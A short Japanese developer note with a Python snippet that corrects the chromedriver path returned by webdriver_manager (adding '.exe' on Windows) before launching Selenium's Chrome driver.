直ぐに対応できるように以下の形は残しておくのが良いのかも？
（これはこれで名前が chromedriver から変更されたらエラーになるけれど......）

```python
import os
from selenium import webdriver
from webdriver_manager.chrome import ChromeDriverManager
webdriver_path = ChromeDriverManager().install()

expect_binary_name = 'chromedriver'
if os.name == 'nt':
    # windows の場合は拡張子 .exe を付ける
    expect_binary_name += '.exe'
actual_binary_name = os.path.basename(webdriver_path)
if actual_binary_name != expect_binary_name:
    webdriver_dir_path = os.path.dirname(webdriver_path)
    webdriver_path = os.path.join(webdriver_dir_path, expect_binary_name)

chrome_service = Service(executable_path=webdriver_path)
driver = webdriver.Chrome(service=chrome_service, options=options)
```